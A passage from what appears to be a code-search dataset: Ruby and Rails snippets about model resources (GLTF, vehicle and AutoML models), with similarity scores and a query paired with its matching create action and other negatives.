"def get_models_for_make_id\n render json: vehicle_service.get_models_for_make_id(params[:make_id])\n end",
"def models(make, year, category)\n make_id = get_object_id make\n category_id = get_object_id category\n response = get_url \"Models/#{make_id}/#{year}/#{category_id}\"\n response_obj = JSON.parse response\n response_obj[\"GetModelsResult\"].map{|r| Models::Model.from_response_hash(r)}\n end",
"def set_gltf_model\n if params[:id] != 'scene'\n @gltf_model = GltfModel.find(params[:id])\n end\n end",
"def load_models\n url = Configuration::PROPERTIES.get_property :url\n url_get_records = Configuration::PROPERTIES.get_property :url_get_models\n\n url_get_records = url_get_records.gsub '{csk}', URI::encode(@credential[:csk])\n url_get_records = url_get_records.gsub '{aci}', URI::encode(@credential[:aci])\n\n response = DynamicService::ServiceCaller.call_service url + url_get_records, {}, 'get'\n\n json = JSON.parse(response)\n unless json['status'] == 200\n raise json['message']\n end\n\n models = []\n array = json['models']\n array.each do |item|\n model = Dynamicloud::API::Model::RecordModel.new item['id'].to_i\n model.name = item['name']\n model.description = item['description']\n\n models.push model\n end\n\n models\n end",
"def get_models\n relatable_category_id = params[:car_calculator][:fuel_type]\n relatable_category_ids = params[:car_calculator][:relatable_category_ids]\n result = CarApp.calculated_session.related_categories_from_relatable_category(relatable_category_id, \"model\", :relatable_category_ids => relatable_category_ids) \n final_result = []\n result = (result || []).each_pair do |key, value| \n final_result << {:name => value, :value => key}\n end\n render :json => {:options => final_result}.to_json\n end",
"def get_models_for_make_id_year\n render json: vehicle_service.get_models_for_make_id_year(params[:make_id], params[:make_year])\n end",
"def index\n @models = ClientService.all\n end",
"def index\n @linear_models = LinearModel.all\n end",
"def index\n @models = Model.all\n end",
"def index\n @models = Model.all\n end",
"def index\n @entities = Entity.find(:all, :limit=>100)\n EntitiesHelper.setModelGraph(\"public/UMLmodel.png\")\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @entities }\n end\n end",
"def model(options={})\n get_location\n # TODO: validate options\n @params[:model] = FEATURE_DEFAULTS[:model].merge(options)\n @params[:model][:generate] = true\n end",
"def get_model\n # Prepare query url.\n _query_builder = config.get_base_uri\n _query_builder << '/response/model'\n _query_url = APIHelper.clean_url _query_builder\n\n # Prepare headers.\n _headers = {\n 'accept' => 'application/json'\n }\n\n # Prepare and execute HttpRequest.\n _request = config.http_client.get(\n _query_url,\n headers: _headers\n )\n _response = execute_request(_request)\n\n # Validate response against endpoint and global error codes.\n return nil if _response.status_code == 404\n validate_response(_response)\n\n # Return appropriate response type.\n decoded = APIHelper.json_deserialize(_response.raw_body)\n Person.from_hash(decoded)\n end",
"def index\n\t @models = @model.get_many\n\t respond_to do |format|\n\t format.json do \n\t render json: @models.to_json\n\t end\n\t format.html do \n\t \trender :index\n\t end\n\t end\n\tend",
"def index\n if params[:vehicle_id]\n @vehicle = Vehicle.find(params[:vehicle_id])\n @vehicle_features = @vehicle.features\n end\n @feature = Feature.new\n @features = Feature.all\n @all_features = Feature.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @features }\n end\n end",
"def index\n @trainmodels = Trainmodel.all\n end",
"def show\n @orf_model = OrfModel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @orf_model }\n end\n end",
"def index\n models = Model.all.to_json(:include => {:model_types => {:only => [:name], :methods => [:total_price]}}, :only => [:name]) \n respond_to do |format|\n format.json { render json: {models: JSON.parse(models)} , location: @model_type }\n end\n end",
"def show\n @feature_model = FeatureModel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @feature_model }\n end\n end",
"def get_project_model project_id, dataset_id, model_id\n # The get operation is considered idempotent\n execute backoff: true do\n json_txt = service.get_model project_id, dataset_id, model_id, options: { skip_deserialization: true }\n JSON.parse json_txt, symbolize_names: true\n end\n end",
"def index\n @models = Model.order(:name)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @models }\n end\n end",
"def index\n @auto_models = AutoModel.all\n end",
"def find_bridge_models(params={}, headers=default_headers)\n @logger.info(\"Find Bridge models.\")\n get(\"#{@api_url}/models\", params, headers)\n end",
"def show\n @models = self.class.model_class.find(self.class.ids_from_param(params[:id]))\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @models }\n format.json { render :json => @models }\n end\n end",
"def jsonapi_model_type\n\t\t\t\t\tjsonapi_model_class_name.underscore.pluralize.to_sym\n\t\t\t\tend",
"def list_models\n\[email protected] do |model|\n\t\tputs \"#{@models.index(model)}: #{model}\"\n\tend\nend",
"def show\n @models = @project.models.all\n end",
"def create\n @gltf_model = GltfModel.new(gltf_model_params)\n\n respond_to do |format|\n if @gltf_model.save\n format.html { redirect_to @gltf_model, notice: 'Gltf model was successfully created.' }\n format.json { render :show, status: :created, location: @gltf_model }\n else\n format.html { render :new }\n format.json { render json: @gltf_model.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n\n @model = Model.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @model }\n end\n end",
"def model\n @opts[:model]\n end",
"def get_model request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_get_model_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::AutoML::V1::Model.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"def get_model request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_get_model_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::AutoML::V1beta1::Model.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"def show\n @model = Model.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @model }\n end\n end",
"def show\n @model = Model.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @model }\n end\n end",
"def show\n @model = Model.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @model }\n end\n end",
"def get_model_files(options); end",
"def models\r\n\r\n end",
"def index\n @fakemodels = Fakemodel.all\n end",
"def list_models dataset_id, max: nil, token: nil\n options = { skip_deserialization: true }\n # The list operation is considered idempotent\n execute backoff: true do\n json_txt = service.list_models @project, dataset_id, max_results: max, page_token: token, options: options\n JSON.parse json_txt, symbolize_names: true\n end\n end",
"def model\n @model\n end",
"def model\n @model\n end",
"def model\n @model\n end",
"def model\n @model\n end",
"def lookup_model_names; end",
"def new\n @feature_model = FeatureModel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @feature_model }\n end\n end",
"def model\n end",
"def index\n @models = self.class.model_class.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @models }\n end\n end",
"def get_models(app_name)\n index = @apps.index(app_name)\n models = @apps[index].models\n end",
"def model; end",
"def model; end",
"def model; end",
"def model; end",
"def model; end",
"def model; end",
"def model; end",
"def model; end",
"def model; end",
"def model; end",
"def index\n @brand = Brand.find(params[:brand_id])\n @models = @brand.models\n\n\n respond_to do |format|\n format.html {redirect_to @brand}\n format.json { render json: @models }\n end\n end",
"def api_model\n api_model_nane.constantize\n end",
"def gltf_model_params\n params.require(:gltf_model).permit(:global_path, :bin_global_path, :textures_directory_global_path)\n end",
"def index\n @device_models = DeviceModel.all\n end",
"def index\n @load_vehicle = LoadVehicle.all\n respond_to do |format|\n format.json { render json: @load_vehicle }\n end\n end",
"def set_model\n @model = Response.find(params[:id])\n end",
"def get_model_array\n # Prepare query url.\n _query_builder = config.get_base_uri\n _query_builder << '/response/model'\n _query_builder = APIHelper.append_url_with_query_parameters(\n _query_builder,\n 'array' => true\n )\n _query_url = APIHelper.clean_url _query_builder\n\n # Prepare headers.\n _headers = {\n 'accept' => 'application/json'\n }\n\n # Prepare and execute HttpRequest.\n _request = config.http_client.get(\n _query_url,\n headers: _headers\n )\n _response = execute_request(_request)\n\n # Validate response against endpoint and global error codes.\n return nil if _response.status_code == 404\n validate_response(_response)\n\n # Return appropriate response type.\n decoded = APIHelper.json_deserialize(_response.raw_body)\n decoded.map { |element| Person.from_hash(element) }\n end",
"def find_bridge_model(name, params={}, headers=default_headers)\n @logger.info(\"Finding the \\\"#{name}\\\" Bridge Model.\")\n get(\"#{@api_url}/models/#{encode(name)}\", params, headers)\n end",
"def index\n @hello_models = HelloModel.all\n end",
"def models\n @models ||= {}\n end",
"def index\n @system_models = SystemModel.all\n end",
"def model\n return @model\n end",
"def list_models request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_list_models_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::AutoML::V1::ListModelsResponse.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"def reload!\n ensure_service!\n @gapi_json = service.get_model dataset_id, model_id\n @reference = nil\n @exists = nil\n self\n end",
"def load_model_for_grid\n if params[\"model_id\"]\n @model_for_grid = @pool.models.find(params[\"model_id\"])\n else\n #if (params[:format].nil? || params[:format] == \"html\") && params[\"view\"] != \"browse\"\n if params[\"view\"] == \"grid\"\n @model_for_grid = @pool.models.first\n end\n end\n end",
"def index\n @revenue_models = RevenueModel.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @revenue_models }\n end\n end",
"def index\n #@models = Model.all\n @categories = Category.all\n respond_to do |format|\n format.html # index.html.erb\n # format.json { render json: @models }\n end\n end",
"def index\n @trial_models = TrialModel.all\n end",
"def model_id\n return @reference.model_id if reference?\n @gapi_json[:modelReference][:modelId]\n end",
"def model\n @model ||= resource.model\n end",
"def get_model( options )\n return options[:model] if options[:model]\n return options[:node].getModel if options[:node] && options[:node].resource? && options[:node].getModel\n default_model\n end",
"def models\n @models ||= []\n end",
"def index\n @modeltypes = Modeltype.all\n end",
"def new\n @part_three_predict = PartThreePredict.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @part_three_predict }\n end\n end",
"def new\n @user = current_user\n @model = Model.find(params[:model_id])\n @operation = Operation.new\n @distributions = @model.distributions\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @operation }\n end\n end",
"def set_model\n @model = Request.find(params[:id])\n end",
"def obj\n @model\n end",
"def index\n semantic_breadcrumb @project.name, @project\n semantic_breadcrumb \"Models\", project_models_path(@project)\n @models = @project.models.page params[:page]\n end",
"def index\n @title = t :model_index_title\n \n @models = Model.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @models }\n end\n end",
"def model(make_of_model: '')\n return fetch(\"vehicle.models_by_make.#{make}\") if make_of_model.empty?\n\n fetch(\"vehicle.models_by_make.#{make_of_model}\")\n end",
"def list_models request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_list_models_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::AutoML::V1beta1::ListModelsResponse.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"def set_model\n @model = ClientService.find(params[:id])\n end",
"def index\r\n @sivic_models = SivicModel.all\r\n end",
"def index\n @my_models = MyModel.all\n end",
"def index \n render json: Tuning.all\n end",
"def index\n @model_lists = ModelList.all\n end",
"def model\n return @model\n end",
"def model\n return @model\n end",
"def show\n @modelo = Modelo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @modelo }\n end\n end",
"def index\n @oid_models = OidModel.all\n end"
] | [
"0.68776745",
"0.6503903",
"0.61830235",
"0.6031035",
"0.59931195",
"0.59612465",
"0.59069747",
"0.58710486",
"0.5855953",
"0.58219004",
"0.5816734",
"0.58076805",
"0.58076805",
"0.5807638",
"0.5797992",
"0.57839507",
"0.5776893",
"0.57406867",
"0.5724249",
"0.5722585",
"0.5717298",
"0.56956255",
"0.5692174",
"0.5667694",
"0.5634666",
"0.5622738",
"0.560876",
"0.5598942",
"0.5554679",
"0.55435205",
"0.5528533",
"0.55094564",
"0.5504526",
"0.54902244",
"0.5487921",
"0.5487733",
"0.5487733",
"0.5487733",
"0.54871505",
"0.5485216",
"0.54733765",
"0.5467188",
"0.54613733",
"0.54613733",
"0.54613733",
"0.54613733",
"0.5443762",
"0.5441861",
"0.5437025",
"0.5428611",
"0.5422075",
"0.541199",
"0.541199",
"0.541199",
"0.541199",
"0.541199",
"0.541199",
"0.541199",
"0.541199",
"0.541199",
"0.541199",
"0.54119825",
"0.5402328",
"0.5399775",
"0.5399353",
"0.5391705",
"0.5388604",
"0.5366058",
"0.5362837",
"0.5362119",
"0.5361379",
"0.53543305",
"0.53537536",
"0.5349893",
"0.5339724",
"0.53363824",
"0.5334325",
"0.53331",
"0.5332303",
"0.53242993",
"0.53238785",
"0.531804",
"0.53161293",
"0.53097546",
"0.5304213",
"0.53010935",
"0.5297042",
"0.5284968",
"0.5284719",
"0.5284586",
"0.5283037",
"0.52743226",
"0.5273681",
"0.5272162",
"0.52631",
"0.5247344",
"0.5247195",
"0.5246942",
"0.5246942",
"0.5227183",
"0.5214796"
] | 0.0 | -1 |
POST /gltf_models POST /gltf_models.json | def create
@gltf_model = GltfModel.new(gltf_model_params)
respond_to do |format|
if @gltf_model.save
format.html { redirect_to @gltf_model, notice: 'Gltf model was successfully created.' }
format.json { render :show, status: :created, location: @gltf_model }
else
format.html { render :new }
format.json { render json: @gltf_model.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def train\n training = @prediction.trainedmodels.insert.request_schema.new\n training.id = 'emotion_prediction_id'\n training.storage_data_location = DATA_OBJECT\n result = @client.execute(\n :api_method => @prediction.trainedmodels.insert,\n :headers => {'Content-Type' => 'application/json'},\n :body_object => training\n )\n\n assemble_json_body(result)\n end",
"def gltf_model_params\n params.require(:gltf_model).permit(:global_path, :bin_global_path, :textures_directory_global_path)\n end",
"def add_bridge_model(body={}, headers=default_headers)\n @logger.info(\"Adding the \\\"#{body['name']}\\\" Bridge Model and Mappings.\")\n post(\"#{@api_url}/models\", body, headers)\n end",
"def model_params\n params.require(:model).permit(:id, :name, :dataset, :snippet, :image, :description, :accuracy, :algorithm, :organization, :size, :api_key, :endpoint,\n inputs_attributes: [:id, :name, :kind, :order, :_destroy],\n outputs_attributes: [:id, :name, :kind, :order, :default_value, :_destroy])\n end",
"def create\n @feature_model = FeatureModel.new(params[:feature_model])\n\n respond_to do |format|\n if @feature_model.save\n format.html { redirect_to @feature_model, :notice => 'Feature model was successfully created.' }\n format.json { render :json => @feature_model, :status => :created, :location => @feature_model }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @feature_model.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @model = @project.models.new(model_params)\n\n respond_to do |format|\n if @model.save\n format.html { redirect_to @model, notice: 'The model was successfully created.' }\n format.json { render :show, status: :created, location: @model }\n else\n format.html { render :new }\n format.json { render json: @model.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n model = params[:model]\n #NOTE: Pay attention how the data is passed as a hash. This is how locomotive expects it. Not obvious.\n # req.set_form_data('content_entry[name]' => data['name'], 'content_entry[summary]' => data['summary'], 'model' => model)\n form_data = {}\n params[:content_entry].each do |key,val|\n form_data[\"content_entry[#{key}]\"] = val\n end\n #data = params[:content_entry]\n\n uri = URI(\"#{@cms_url}/locomotive/api/content_types/#{model}/entries.json?auth_token=#{APP_CONFIG['locomotive']['auth_token']}\")\n\n req = Net::HTTP::Post.new(uri)\n req.set_form_data(form_data)\n res = Net::HTTP.start(uri.hostname, uri.port) do |http|\n http.request(req)\n end\n case res\n when Net::HTTPSuccess, Net::HTTPRedirection\n render :json => res.body\n else\n # examine response code and generate appropriate error message\n render :json => res.value\n end\n\n end",
"def model(options={})\n get_location\n # TODO: validate options\n @params[:model] = FEATURE_DEFAULTS[:model].merge(options)\n @params[:model][:generate] = true\n end",
"def linear_model_params\n params.require(:linear_model).permit(:class1, :class2, :model)\n end",
"def set_gltf_model\n if params[:id] != 'scene'\n @gltf_model = GltfModel.find(params[:id])\n end\n end",
"def create\n params[:operation][\"inputs\"] = filter_distribution_ids(params[:operation][\"inputs\"])\n @operation = Operation.new(params[:operation])\n @model = Model.find(params[:model_id])\n respond_to do |format|\n if @operation.save\n if @model\n @operation.dependent.models << @model\n format.html { redirect_to user_model_path(@model.user, @model), notice: 'Operation was successfully created.' }\n else\n format.html { redirect_to root_path, notice: 'Operation was successfully created.' }\n end \n else\n format.html { render action: \"new\" }\n format.json { render json: @operation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @trainmodel = Trainmodel.new(trainmodel_params)\n\n respond_to do |format|\n if @trainmodel.save\n format.html { redirect_to @trainmodel, notice: 'Trainmodel was successfully created.' }\n format.json { render :show, status: :created, location: @trainmodel }\n else\n format.html { render :new }\n format.json { render json: @trainmodel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @gltf_models = GltfModel.all\n end",
"def create \n render json: Tuning.create(tuning_params)\n end",
"def generate_model\n\t\tclasses = CartesianClassifier.get_classes(Sample.find_all_by_classname(params[:classnames].split(',')))\n\t\tclassmodel = ClassModel.new({\n\t\t\t:classnames => params[:classnames], # split and join again for validation?\n\t\t\t:modelstring => ActiveSupport::JSON.encode(classes),\n\t\t\t:author => params[:author],\n\t\t\t:notes => params[:notes]\n\t\t})\n\t\tclassmodel.save\n\t\tredirect_to \"/\"\n end",
"def model\r\n\t\t\t@model ||= json['model']\r\n\t\tend",
"def trainmodel_params\n params.require(:trainmodel).permit(:modid, :moddesc, :modname, :trainfile, :testfile, :addtnl, :modcheck)\n end",
"def test_send_model_array()\n # Parameters for the API call\n models = APIHelper.json_deserialize(\n '[{\"name\":\"Shahid Khaliq\",\"age\":5147483645,\"address\":\"H # 531, S # 20\",\"'\\\n 'uid\":\"123321\",\"birthday\":\"1994-02-13\",\"birthtime\":\"1994-02-13T14:01:54.'\\\n '9571247Z\",\"salary\":20000,\"department\":\"Software Development\",\"joiningDa'\\\n 'y\":\"Saturday\",\"workingDays\":[\"Monday\",\"Tuesday\",\"Friday\"],\"boss\":{\"pers'\\\n 'onType\":\"Boss\",\"name\":\"Zeeshan Ejaz\",\"age\":5147483645,\"address\":\"H # 53'\\\n '1, S # 20\",\"uid\":\"123321\",\"birthday\":\"1994-02-13\",\"birthtime\":\"1994-02-'\\\n '13T14:01:54.9571247Z\",\"salary\":20000,\"department\":\"Software Development'\\\n '\",\"joiningDay\":\"Saturday\",\"workingDays\":[\"Monday\",\"Tuesday\",\"Friday\"],\"'\\\n 'dependents\":[{\"name\":\"Future Wife\",\"age\":5147483649,\"address\":\"H # 531,'\\\n ' S # 20\",\"uid\":\"123412\",\"birthday\":\"1994-02-13\",\"birthtime\":\"1994-02-13'\\\n 'T14:01:54.9571247Z\"},{\"name\":\"Future Kid\",\"age\":5147483648,\"address\":\"H'\\\n ' # 531, S # 20\",\"uid\":\"312341\",\"birthday\":\"1994-02-13\",\"birthtime\":\"199'\\\n '4-02-13T14:01:54.9571247Z\"}],\"hiredAt\":\"Sun, 06 Nov 1994 08:49:37 GMT\",'\\\n '\"promotedAt\":1484719381},\"dependents\":[{\"name\":\"Future Wife\",\"age\":5147'\\\n '483649,\"address\":\"H # 531, S # 20\",\"uid\":\"123412\",\"birthday\":\"1994-02-1'\\\n '3\",\"birthtime\":\"1994-02-13T14:01:54.9571247Z\"},{\"name\":\"Future Kid\",\"ag'\\\n 'e\":5147483648,\"address\":\"H # 531, S # 20\",\"uid\":\"312341\",\"birthday\":\"19'\\\n '94-02-13\",\"birthtime\":\"1994-02-13T14:01:54.9571247Z\"}],\"hiredAt\":\"Sun, '\\\n '06 Nov 1994 08:49:37 GMT\"},{\"name\":\"Shahid Khaliq\",\"age\":5147483645,\"ad'\\\n 'dress\":\"H # 531, S # 20\",\"uid\":\"123321\",\"birthday\":\"1994-02-13\",\"birtht'\\\n 'ime\":\"1994-02-13T14:01:54.9571247Z\",\"salary\":20000,\"department\":\"Softwa'\\\n 're Development\",\"joiningDay\":\"Saturday\",\"workingDays\":[\"Monday\",\"Tuesda'\\\n 'y\",\"Friday\"],\"boss\":{\"personType\":\"Boss\",\"name\":\"Zeeshan Ejaz\",\"age\":51'\\\n '47483645,\"address\":\"H # 531, S # 20\",\"uid\":\"123321\",\"birthday\":\"1994-02'\\\n '-13\",\"birthtime\":\"1994-02-13T14:01:54.9571247Z\",\"salary\":20000,\"departm'\\\n 'ent\":\"Software Development\",\"joiningDay\":\"Saturday\",\"workingDays\":[\"Mon'\\\n 'day\",\"Tuesday\",\"Friday\"],\"dependents\":[{\"name\":\"Future Wife\",\"age\":5147'\\\n '483649,\"address\":\"H # 531, S # 20\",\"uid\":\"123412\",\"birthday\":\"1994-02-1'\\\n '3\",\"birthtime\":\"1994-02-13T14:01:54.9571247Z\"},{\"name\":\"Future Kid\",\"ag'\\\n 'e\":5147483648,\"address\":\"H # 531, S # 20\",\"uid\":\"312341\",\"birthday\":\"19'\\\n '94-02-13\",\"birthtime\":\"1994-02-13T14:01:54.9571247Z\"}],\"hiredAt\":\"Sun, '\\\n '06 Nov 1994 08:49:37 GMT\",\"promotedAt\":1484719381},\"dependents\":[{\"name'\\\n '\":\"Future Wife\",\"age\":5147483649,\"address\":\"H # 531, S # 20\",\"uid\":\"123'\\\n '412\",\"birthday\":\"1994-02-13\",\"birthtime\":\"1994-02-13T14:01:54.9571247Z\"'\\\n '},{\"name\":\"Future Kid\",\"age\":5147483648,\"address\":\"H # 531, S # 20\",\"ui'\\\n 'd\":\"312341\",\"birthday\":\"1994-02-13\",\"birthtime\":\"1994-02-13T14:01:54.95'\\\n '71247Z\"}],\"hiredAt\":\"Sun, 06 Nov 1994 08:49:37 GMT\"}]'\n ).map { |element| Employee.from_hash(element) }\n\n # Perform the API call through the SDK function\n result = @controller.send_model_array(models)\n\n # Test response code\n assert_equal(200, @response_catcher.response.status_code)\n\n # Test whether the captured response is as we expected\n refute_nil(result)\n expected_body = JSON.parse(\n '{\"passed\":true}'\n )\n received_body = JSON.parse(@response_catcher.response.raw_body)\n assert(TestHelper.match_body(expected_body, received_body, check_values: true))\n end",
"def test_send_model_array()\n # Parameters for the API call\n models = APIHelper.json_deserialize(\n '[{\"name\":\"Shahid Khaliq\",\"age\":5147483645,\"address\":\"H # 531, S # 20\",\"'\\\n 'uid\":\"123321\",\"birthday\":\"1994-02-13\",\"birthtime\":\"1994-02-13T14:01:54.'\\\n '9571247Z\",\"salary\":20000,\"department\":\"Software Development\",\"joiningDa'\\\n 'y\":\"Saturday\",\"workingDays\":[\"Monday\",\"Tuesday\",\"Friday\"],\"boss\":{\"pers'\\\n 'onType\":\"Boss\",\"name\":\"Zeeshan Ejaz\",\"age\":5147483645,\"address\":\"H # 53'\\\n '1, S # 20\",\"uid\":\"123321\",\"birthday\":\"1994-02-13\",\"birthtime\":\"1994-02-'\\\n '13T14:01:54.9571247Z\",\"salary\":20000,\"department\":\"Software Development'\\\n '\",\"joiningDay\":\"Saturday\",\"workingDays\":[\"Monday\",\"Tuesday\",\"Friday\"],\"'\\\n 'dependents\":[{\"name\":\"Future Wife\",\"age\":5147483649,\"address\":\"H # 531,'\\\n ' S # 20\",\"uid\":\"123412\",\"birthday\":\"1994-02-13\",\"birthtime\":\"1994-02-13'\\\n 'T14:01:54.9571247Z\"},{\"name\":\"Future Kid\",\"age\":5147483648,\"address\":\"H'\\\n ' # 531, S # 20\",\"uid\":\"312341\",\"birthday\":\"1994-02-13\",\"birthtime\":\"199'\\\n '4-02-13T14:01:54.9571247Z\"}],\"hiredAt\":\"Sun, 06 Nov 1994 08:49:37 GMT\",'\\\n '\"promotedAt\":1484719381},\"dependents\":[{\"name\":\"Future Wife\",\"age\":5147'\\\n '483649,\"address\":\"H # 531, S # 20\",\"uid\":\"123412\",\"birthday\":\"1994-02-1'\\\n '3\",\"birthtime\":\"1994-02-13T14:01:54.9571247Z\"},{\"name\":\"Future Kid\",\"ag'\\\n 'e\":5147483648,\"address\":\"H # 531, S # 20\",\"uid\":\"312341\",\"birthday\":\"19'\\\n '94-02-13\",\"birthtime\":\"1994-02-13T14:01:54.9571247Z\"}],\"hiredAt\":\"Sun, '\\\n '06 Nov 1994 08:49:37 GMT\"},{\"name\":\"Shahid Khaliq\",\"age\":5147483645,\"ad'\\\n 'dress\":\"H # 531, S # 20\",\"uid\":\"123321\",\"birthday\":\"1994-02-13\",\"birtht'\\\n 'ime\":\"1994-02-13T14:01:54.9571247Z\",\"salary\":20000,\"department\":\"Softwa'\\\n 're Development\",\"joiningDay\":\"Saturday\",\"workingDays\":[\"Monday\",\"Tuesda'\\\n 'y\",\"Friday\"],\"boss\":{\"personType\":\"Boss\",\"name\":\"Zeeshan Ejaz\",\"age\":51'\\\n '47483645,\"address\":\"H # 531, S # 20\",\"uid\":\"123321\",\"birthday\":\"1994-02'\\\n '-13\",\"birthtime\":\"1994-02-13T14:01:54.9571247Z\",\"salary\":20000,\"departm'\\\n 'ent\":\"Software Development\",\"joiningDay\":\"Saturday\",\"workingDays\":[\"Mon'\\\n 'day\",\"Tuesday\",\"Friday\"],\"dependents\":[{\"name\":\"Future Wife\",\"age\":5147'\\\n '483649,\"address\":\"H # 531, S # 20\",\"uid\":\"123412\",\"birthday\":\"1994-02-1'\\\n '3\",\"birthtime\":\"1994-02-13T14:01:54.9571247Z\"},{\"name\":\"Future Kid\",\"ag'\\\n 'e\":5147483648,\"address\":\"H # 531, S # 20\",\"uid\":\"312341\",\"birthday\":\"19'\\\n '94-02-13\",\"birthtime\":\"1994-02-13T14:01:54.9571247Z\"}],\"hiredAt\":\"Sun, '\\\n '06 Nov 1994 08:49:37 GMT\",\"promotedAt\":1484719381},\"dependents\":[{\"name'\\\n '\":\"Future Wife\",\"age\":5147483649,\"address\":\"H # 531, S # 20\",\"uid\":\"123'\\\n '412\",\"birthday\":\"1994-02-13\",\"birthtime\":\"1994-02-13T14:01:54.9571247Z\"'\\\n '},{\"name\":\"Future Kid\",\"age\":5147483648,\"address\":\"H # 531, S # 20\",\"ui'\\\n 'd\":\"312341\",\"birthday\":\"1994-02-13\",\"birthtime\":\"1994-02-13T14:01:54.95'\\\n '71247Z\"}],\"hiredAt\":\"Sun, 06 Nov 1994 08:49:37 GMT\"}]'\n ).map { |element| Employee.from_hash(element) }\n\n # Perform the API call through the SDK function\n result = @controller.send_model_array(models)\n\n # Test response code\n assert_equal(200, @response_catcher.response.status_code)\n\n # Test whether the captured response is as we expected\n refute_nil(result)\n expected_body = JSON.parse(\n '{\"passed\":true}'\n )\n received_body = JSON.parse(@response_catcher.response.raw_body)\n assert(TestHelper.match_body(expected_body, received_body, check_values: true))\n end",
"def create\n @linear_model = LinearModel.new(linear_model_params)\n\n respond_to do |format|\n if @linear_model.save\n format.html { redirect_to @linear_model, notice: 'Linear model was successfully created.' }\n format.json { render action: 'show', status: :created, location: @linear_model }\n else\n format.html { render action: 'new' }\n format.json { render json: @linear_model.errors, status: :unprocessable_entity }\n end\n end\n end",
"def translate_to_svf(object_id,access_token)\n base_64_urn = Base64.strict_encode64(object_id)\n response = RestClient.post(\"#{API_URL}/modelderivative/v2/designdata/job\",\n {\n input: {\n urn: base_64_urn\n },\n output: {\n formats: [\n {\n type: \"svf\",\n views: [\n \"3d\"\n ]\n }\n ]\n }\n }.to_json,\n { Authorization: \"Bearer #{access_token}\", content_type:'application/json' })\n return response\nend",
"def create_model request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_create_model_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Longrunning::Operation.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"def create_model request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_create_model_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Longrunning::Operation.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
